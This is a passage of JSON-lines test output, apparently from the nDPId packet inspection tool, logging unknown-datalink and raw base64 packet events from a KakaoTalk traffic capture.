+00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":228,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":229,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":435889,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/KD+AbE7YizorWguGVRkmREMSKJlTdJarWJC+XzkFm4tXfwcCSZi5CHqJ0HvvUmnKksWQvNehtVDx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":229,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":230,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":449469,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/8nCAbE7ZizovGguGVRnmZXc\/uUcObDWXjEW8LYMqYW1tyRG1LmhhR0RjBIPYC1WAkFvmnPwOo7Qc"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":230,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00513{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":231,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":464026,"pkt_caplen":156,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIwAAEAAQBHaFgoYUrwByQGuKBxaBgB4OdWAbDFhfqmYQ1Sapdp+72j\/KMyHszfEvaP+HuyGVeUAm9o0KAamfrFUuymoqda7aEAzNEG6g+4XlaDKGl5VHEwlUvRBUEYjDGHfGfDZUur\/WfG6UZWT7uow4JtO40x1jo90SsVMBeql6FXGS99TMDeg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":231,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00504{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":232,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":479621,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHRH89gHJAa4KGFK8WgQsOABwIiWAbDFffqmQw1SapdrgjT6RBzmpZ2WdhHEeLzsDPdwvmdzx12wN+SaA9f33LVwPfuI62CZCulU8bhziy0gTLDpwq3K74IMEakOYrJ2c7Ol\/gKCfQHZj7u3Fr73J39PMxPmc8SIQqIDXog=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":232,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":233,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":504035,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIkAAEAAQBHaGQoYUrwByQGuKBxaBgB1vQKAbDFifqmcA1SapdrkLtnX8XKSUNtY72tVReL5h\/GnLvlVvJacElD02k24dZpIPNqygKJcFIwjHQRFfEUenwIqeTH+aC241Q9kssBXZEWEjIzVZj77JsQQG6QJKTG\/f4zy\/cucowCHmCW6XG9u"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":233,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":234,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":508277,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/uzGAbE7cizo6WguGVRkowgYDNKHf9CAaSvD5j37WUtLA\/3677Jf1Vzgu9klGqOfoAtgHGgahQlQd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":234,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":235,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":535773,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/5fmAbE7aizoy2guGVRmpW7DZ84v+drTo4jtmQew7XgGGMRyLzoOa3Zy9pYtTwb\/ARo5rbu6LYcBR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":235,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":236,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":548072,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/pG+AbE7bizo2mguGVRkL39YZxE46NPS3lde3HULzoOLq67YBc+heA+x5t1DYCQ3UtFlyf4K1VMeG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":236,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":237,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":579688,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH8AAEAAHRH8+wHJAa4KGFK8WgQsOABrTmaAbDFgfqmUg1SapdrGx+4z1sOGK7pAai37gQmvttOUsdHqUboPhjHPhN8A7O\/Q1MEwn2VcXxHHSoq7tJilpbAytwLdpIBuT2PTgK89YmEh91GSqAKBWCwC3\/ekjZUOtH0XPYs="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":237,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00513{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":238,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":595832,"pkt_caplen":156,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIwAAEAAHRH87gHJAa4KGFK8WgQsOAB4NbuAbDFhfqmYQ1Sapdp+72j\/KMyHszfEvaP+HuyGVeUAm9o0KAamfrFUuymoqda7aEAzNEG6g+4XlaDKGl5VHEwlUvRBUEYjDGHfGfDZUur\/WfG6UZWT7uow4JtO40x1jo90SsVMBeql6FXGS99TMDeg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":238,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":239,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":602484,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIsAAEAAQBHaFwoYUrwByQGuKBxaBgB3NByAbDFjfqmfw1SapdqexA8S\/h5nxuL7gFhH7sbxSZZL7MW+kN\/QG3CVyL7ydUSDLXm5e1v1yybWQA6wr3YJnxKqkKrZzUn+bQt+mqoMoy+7rQpQ\/t2YlWYNQwUVih9CWFxqrydhTNiEpfCDHpgC2LY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":239,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":240,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":607825,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/BLOAbE7dizo+GguGVRnLTOAmIOHWBARY93eME5dZi96HMduCVrqv3RSsAPNqkVbQEil8NLV7ZFvl"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":240,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":241,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":609534,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/EuiAbE7eizpB2guGVRl7CskrZqT6RUPDgbbiVlwmi1FjeiTsloyiyRwrJixBIl6muUk\/ONO4WoEK"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":241,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":242,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":627509,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIkAAEAAHRH88QHJAa4KGFK8WgQsOAB1uOiAbDFifqmcA1SapdrkLtnX8XKSUNtY72tVReL5h\/GnLvlVvJacElD02k24dZpIPNqygKJcFIwjHQRFfEUenwIqeTH+aC241Q9kssBXZEWEjIzVZj77JsQQG6QJKTG\/f4zy\/cucowCHmCW6XG9u"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":242,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00487{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":243,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":637488,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAQBHaKgoYUrwByQGuKBxaBgBkxUmAbDFkfqmjg1Sapdrr6u5YkznbZvFP2q76IecwGZXB+pWicrO+RSLX5zXKxfXpR7GcsAxyegpcHcx1LQ8itnhDzXzVM6RMOrtXKCoZD7Bi5RsvrfSULCkWkwY7Zw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":243,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":244,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":678107,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHwAAEAAQBHaJgoYUrwByQGuKBxaBgBo0H+AbDFlfqmnQ1SapdqP9r7eYFwtMxj2obAMOb2\/x7cjlF5\/aatZ35YA1COMYHkoOGQydI3cBKBSPaFtRxs7K7vVBJiPnt1U+YKGrrGOjwINDFxuQY+4ndU1H4Z8DdSMkY0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":244,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":245,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":679541,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/v0uAbE7cizo6WguGVRkowgYDNKHf9CAaSvD5j37WUtLA\/3677Jf1Vzgu9klGqOfoAtgHGgahQlQd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":245,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":246,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":711768,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/DlqAbE7fizpFmguGVRlgJGbkyhyzcB8L1Fk+2tdCSTe8x0RIhfyy\/E9GIdRfsMqfarqqj1+hwB9o"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":246,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":247,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":711859,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/ESiAbE7gizpJWguGVRn27a6fre7MiT0yj4OA1trYzQCuTs41awJEKwEAYUbKBjcEhwq0sh1NpcVg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":247,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":248,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":735480,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIsAAEAAHRH87wHJAa4KGFK8WgQsOAB3MAKAbDFjfqmfw1SapdqexA8S\/h5nxuL7gFhH7sbxSZZL7MW+kN\/QG3CVyL7ydUSDLXm5e1v1yybWQA6wr3YJnxKqkKrZzUn+bQt+mqoMoy+7rQpQ\/t2YlWYNQwUVih9CWFxqrydhTNiEpfCDHpgC2LY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":248,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":249,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":747504,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/CM2AbE7dizo+GguGVRnLTOAmIOHWBARY93eME5dZi96HMduCVrqv3RSsAPNqkVbQEil8NLV7ZFvl"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":249,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":250,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":763495,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/FwKAbE7eizpB2guGVRl7CskrZqT6RUPDgbbiVlwmi1FjeiTsloyiyRwrJixBIl6muUk\/ONO4WoEK"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":250,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00513{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":251,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":777259,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIsAAEAAQBHaFwoYUrwByQGuKBxaBgB3BwOAbDFmfqmrA1SapdpRxttjK5EgSthOOAMR2IOt7HhLm4uJxcDAHityB0+FArDEBgQWwN4dER7b+2Fg\/jFpC+9maZgkxUJDIhxUpBGKlJcdfA\/xWSKnwcGqxOybSiOeuNpSTxVOFgfvPiwEs2u4NLA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":251,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00487{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":252,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":807501,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHRH9AgHJAa4KGFK8WgQsOABkwS+AbDFkfqmjg1Sapdrr6u5YkznbZvFP2q76IecwGZXB+pWicrO+RSLX5zXKxfXpR7GcsAxyegpcHcx1LQ8itnhDzXzVM6RMOrtXKCoZD7Bi5RsvrfSULCkWkwY7Zw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":252,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":253,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":812262,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/es6AbE7hizpNGguGVRn1WDJqSj0BbLwQpf4Nhl\/yEVbwn3Y95PiXddPh9XI7DDhedEso5fEr1SW+"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":253,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":254,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":817053,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBesh6AbDFnfqmuw1SapdqIN+I8DTNS1HWpi9StW6S4CL7bPlGEyOlaqy5gxk8z7Z0wlcTKhA+z3pBqS0L+Dje\/uLUDF\/4iSm0H5Cj1kCSME09Ii6+LrjN2BA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":254,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":255,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":827460,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHwAAEAAHRH8\/gHJAa4KGFK8WgQsOABozGWAbDFlfqmnQ1SapdqP9r7eYFwtMxj2obAMOb2\/x7cjlF5\/aatZ35YA1COMYHkoOGQydI3cBKBSPaFtRxs7K7vVBJiPnt1U+YKGrrGOjwINDFxuQY+4ndU1H4Z8DdSMkY0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":255,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":256,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":839453,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/EnSAbE7fizpFmguGVRlgJGbkyhyzcB8L1Fk+2tdCSTe8x0RIhfyy\/E9GIdRfsMqfarqqj1+hwB9o"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":256,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":257,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":847449,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/FUKAbE7gizpJWguGVRn27a6fre7MiT0yj4OA1trYzQCuTs41awJEKwEAYUbKBjcEhwq0sh1NpcVg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":257,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":258,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":897925,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG8AAEAAQBHaMwoYUrwByQGuKBxaBgBbRSyAbDFofqmyg1SapdpVqcYhovjFyWf5I1qaLQelJw2itsfEveV844mdmJJhY+681O86vAxxWf5AgOXt58vxKsJQ6wyYiiWLl2kOztpyQ7AMVqwsrA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":258,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00513{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":259,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":907447,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIsAAEAAHRH87wHJAa4KGFK8WgQsOAB3AumAbDFmfqmrA1SapdpRxttjK5EgSthOOAMR2IOt7HhLm4uJxcDAHityB0+FArDEBgQWwN4dER7b+2Fg\/jFpC+9maZgkxUJDIhxUpBGKlJcdfA\/xWSKnwcGqxOybSiOeuNpSTxVOFgfvPiwEs2u4NLA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":259,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":260,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":911383,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/DcmAbE7iizpQ2guGVRmInxdUIm41eonSNziEqTMFqaU8bI6sXVqT1cVdslDSO\/vqIYEsRMKTFmq8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":260,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":261,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":911505,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/HqyAbE7jizpUmguGVRkjZE1\/4VpBsUhvMoHcUSeVmcgpUAJJJflr93ZEMF60Xb6B2gqPlLIubg7d"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":261,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":262,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":935492,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/fuiAbE7hizpNGguGVRn1WDJqSj0BbLwQpf4Nhl\/yEVbwn3Y95PiXddPh9XI7DDhedEso5fEr1SW+"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":262,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":263,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":938025,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAQBHaSwoYUrwByQGuKBxaBgBD6QuAbDFpfqm2Q1SapdrSbb3jRrmndQyQMjy18xHK7ZEoBvj+ykU5xCdeJ9RrtBVTJNsGNB0ZJbyoDXnfWw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 